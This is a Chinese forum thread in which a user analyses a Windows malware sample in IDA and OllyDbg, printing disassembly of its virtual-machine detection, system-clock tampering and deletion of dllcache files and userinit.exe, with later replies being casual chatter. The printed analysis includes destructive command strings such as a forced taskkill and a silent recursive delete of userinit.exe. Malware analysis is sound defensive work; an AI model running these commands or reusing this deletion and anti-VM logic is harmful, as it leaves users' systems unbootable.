分析某恶意程序 by roxiel[LSG]
本帖最后由 是昔流芳 于 2011-2-11 14:43 编辑样本就放这里了
IDA先瞅一眼,是个基于对话框的MFC
.text:00401398 sub esp, 44h
.text:0040139B push ebx
.text:0040139C push esi
.text:0040139D push edi
.text:0040139E mov esi, ecx
.text:004013A0 call ?OnInitDialog@CDialog@@UAEHXZ ; CDialog::OnInitDialog(void)
这样直接开OD,断在OnInitDialog就可以了
这里有必要说明一下,在Dialog创建之前,也是可能存在恶意代码的
由于在IDA中看到了恶意代码是在OnInitDialog开始的,所以才这么断的。。
bp 4013a0
来到下面的位置
接下来几段的MENU和SendMessage不用看
00401430|.50 push eax ; /lParam
00401431|.6A 00 push 0 ; |wParam = 0
00401433|.68 80000000 push 80 ; |Message = WM_SETICON
00401438|.51 push ecx ; |hWnd
00401439|.FFD3 call ebx ; \SendMessageA
====================================幽灵之忽略的分割线=====================================
0040143B|.E8 00FDFFFF call 00401140
00401440|.85C0 test eax, eax
00401442|.74 0E je short 00401452
00401444|.6A 00 push 0
00401446|.68 14C14200 push 0042C114 ;ASCII "Warning"
0040144B|.68 A4C24200 push 0042C2A4 ;ASCII "Son of bitch under Vmware"
判断虚拟机
跟进 0040143B 这个CALL看一看
00401140 push ebp
00401141 mov ebp, esp
00401143 push -1
00401145 push 004236B0
0040114A push 00409E1C ;SE 处理程序安装
0040114F mov eax, dword ptr fs:
00401155 push eax
00401156 mov dword ptr fs:, esp
0040115D sub esp, 10
00401160 push ebx
00401161 push esi
00401162 push edi
00401163 mov dword ptr , esp
00401166 mov dword ptr , 0
0040116D pushad ;从这里开始判断了
0040116E pushfd ;
0040116F xor ebx, ebx
00401171 mov ecx, 0A
00401176 mov eax, 564D5868 ;F8完了看一眼EAX,是"VMXh"
0040117B mov dx, 5658 ;VMXh-M-h="VX"
0040117F in eax, dx ;应该是个调用之类的
00401180 cmp ebx, 564D5868 ;看样子结果是存在ebx里了,和VMXh比较
00401186 sete al
00401189 movzx eax, al
0040118C mov dword ptr , eax ;返回比较结果
00401191 popfd
00401192 popad
然后一路F8或者直接RETN
再回来
0040143Bcall 00401140
00401440test eax, eax
00401442je short 00401452
00401444push 0
00401446push 0042C114 ;ASCII "Warning"
0040144Bpush 0042C2A4 ;ASCII " !!已被滤霸过滤!! In Vmware !!!"
00401450jmp short 00401485
00401452call 004011D0
00401457test eax, eax
00401459je short 00401469
0040145Bpush 0
0040145Dpush 0042C114 ;ASCII "Warning"
00401462push 0042C27C ;ASCII " !!已被滤霸过滤!!! VPC"
00401467jmp short 00401485
00401469call 00401250
0040146Etest eax, eax
00401470push 0
00401472push 0042C114 ;ASCII "Warning"
00401477je short 00401480
00401479push 0042C250 ;ASCII "Son of!!已被滤霸过滤!! VM "
0040147Ejmp short 00401485
00401480push 0042C21C ;ASCII "Son of!!已被滤霸过滤!!^$#fdHost"
00401485mov ecx, esi
00401487call 00419B92 ;这里是Messagebox
0040148Cjmp short 0040149E
用伪代码解释
if( ISVmware() )
{...参数1}
else if( ISVPC() )
{...参数2}
else if (ISVM())
{...参数3}
...
下面接着到0040149E来看,IDA这里看得更清楚
0040149Elea edx, dword ptr
004014A1push edx ; lpSystemTime
004014A2call dword ptr [<&KERNEL32.GetSystemT>; ds:GetSystemTime
004014A8lea eax, dword ptr ;取得,这里的方式是引用的方式,也就是下面的SetXXX函数可以直接修改取得的wYear
004014ABmov word ptr , 833 ;== 833h 设置年份
004014B1push eax ; lpSystemTime
004014B2call dword ptr [<&KERNEL32.SetSystemT>;ds:SetSystemTime
004014B8lea ecx, dword ptr ;
004014BBpush ecx ; lpLocalTime
004014BCcall dword ptr [<&KERNEL32.SetLocalTi>; ds:SetLocalTime
004014C2push 0
004014C4push 0042C114 ;ASCII "Warning"
004014C9push 0042C1EC ;ASCII !!已被滤霸过滤!!
004014CEmov ecx, esi
004014D0call 00419B92 ;惯例又是一个MessageBox
下面就看关键的地方
0040159A|push 80 ; /FileAttributes = NORMAL
0040159F|push eax ; |FileName
004015A0|call dword ptr [<&KERNEL32.SetFileAttributesA>>; \SetFileAttributesA 设置文件属性
004015A6|lea ecx, dword ptr
004015A9|call 00417E02
004015AE|lea eax, dword ptr
004015B1|lea ecx, dword ptr
004015B4|push eax
004015B5|call 00402660
004015BA|mov eax, dword ptr
004015BC|push eax ; /FileName
004015BD|call dword ptr [<&KERNEL32.DeleteFileA>] ; \DeleteFileA 删除文件
004015C3|lea ecx, dword ptr
004015C6|call 00417E02
004015CB|mov eax, dword ptr
004015CE|test eax, eax
004015D0\jnz 00401501
004015D6lea ecx, dword ptr
004015D9call 00402327
004015DEpush 0
004015E0push 0042C1A0 ;ASCII "C:\WINDOWS\system32\userinit.exe"
004015E5lea ecx, dword ptr
004015E8call 00402371 ;FindFile
004015EDtest eax, eax
004015EFje 004016D5
。
。
。
。
0040166Cpush 0
0040166Epush 0042C114 ;ASCII "Warning"
00401673push 0042C174 ;ASCII "Malware scripts had been Pending removed"
00401678mov ecx, esi
0040167Acall 00419B92 ;MessageBox
0040167Flea ecx, dword ptr
00401682push ecx
00401683lea ecx, dword ptr
00401686call 00402660
0040168Bmov eax, dword ptr
0040168Dpush 80 ; /FileAttributes = NORMAL
00401692push eax ; |FileName
00401693call dword ptr [<&KERNEL32.SetFileAttributesA>] ; \SetFileAttributesA 文件属性
00401699lea ecx, dword ptr
0040169Ccall 00417E02
004016A1lea edx, dword ptr
004016A4lea ecx, dword ptr
004016A7push edx
004016A8call 00402660
004016ADmov eax, dword ptr
004016AFpush eax ; /FileName
004016B0call dword ptr [<&KERNEL32.DeleteFileA>] ; \DeleteFileA 删除文件
004016B6lea ecx, dword ptr
004016B9call 00417E02
004016BEpush 0042C154 ;ASCII "Taskkill /f /IM userinit.exe"
004016C3call 00409EF4 ;系统调用结束userinit
004016C8push 0042C124 ;ASCII "del %SystemRoot%\system32\userinit.exe /f /q /s"
004016CDcall 00409EF4 ;系统调用删除userinit
004016D2add esp, 8
除了DELETEFILE和系统调用,还有MoveFile,由于贴代码太麻烦这里就不赘述了
它删了所有dllcache里的文件和userinit
导致进不去系统
后半部分的伪代码大致如下
while(FindFile("C:\\WINDOWS\\system32\\dllcache\\*"))
{
FindResumeNext();
MoveFileEx(...);
SetFileAttributes(...);
DeleteFile(...);
}
if(FindFile("C:\\WINDOWS\\system32\\userinit.exe"))
{
if(MoveFileEx(...)==SECUESS);不得不说,这个逻辑很火星
{
SetFileAttributes(...);
DeleteFile(...);
Taskkill /f /IM userinit.exe
del %SystemRoot%\\system32\\userinit.exe
}
}
把这些都屏蔽掉之后,我们运行程序,会发现对话框中有一个按钮
接下来怎么玩呢,OD重新载入
bp 4013a0
运行,断下来的CALL按空格修改,
修改为jmp 4016ed
这样就直接把InitDialog过去了
再运行,界面就出来了
然后设消息断点,202 LBUTTONUP
然后发现是大段的数学计算。。。。呃,那就到此为止吧 我看一下 大部分还看不懂哦 回复 2# 紫色
如果这不是MFC,可能就更好明白一点 李教授千秋万载,一统江湖 楼上回复 也忒强了点儿 膜拜一剑
顺便好奇一下4楼是怎么会这句话的,我记得我曾经用这句话来形容过孔子 分析这种恶意程序很费时间的.我从来不碰,找杀软去解决 这是高手们做得事! 回复 6# 是昔流芳
:(eew 芳芳怎么能这么说,膜拜一下李叫兽 回复 9# kongzi
:)eee 难得你俩都出来冒个泡。。。
页:
[1]
2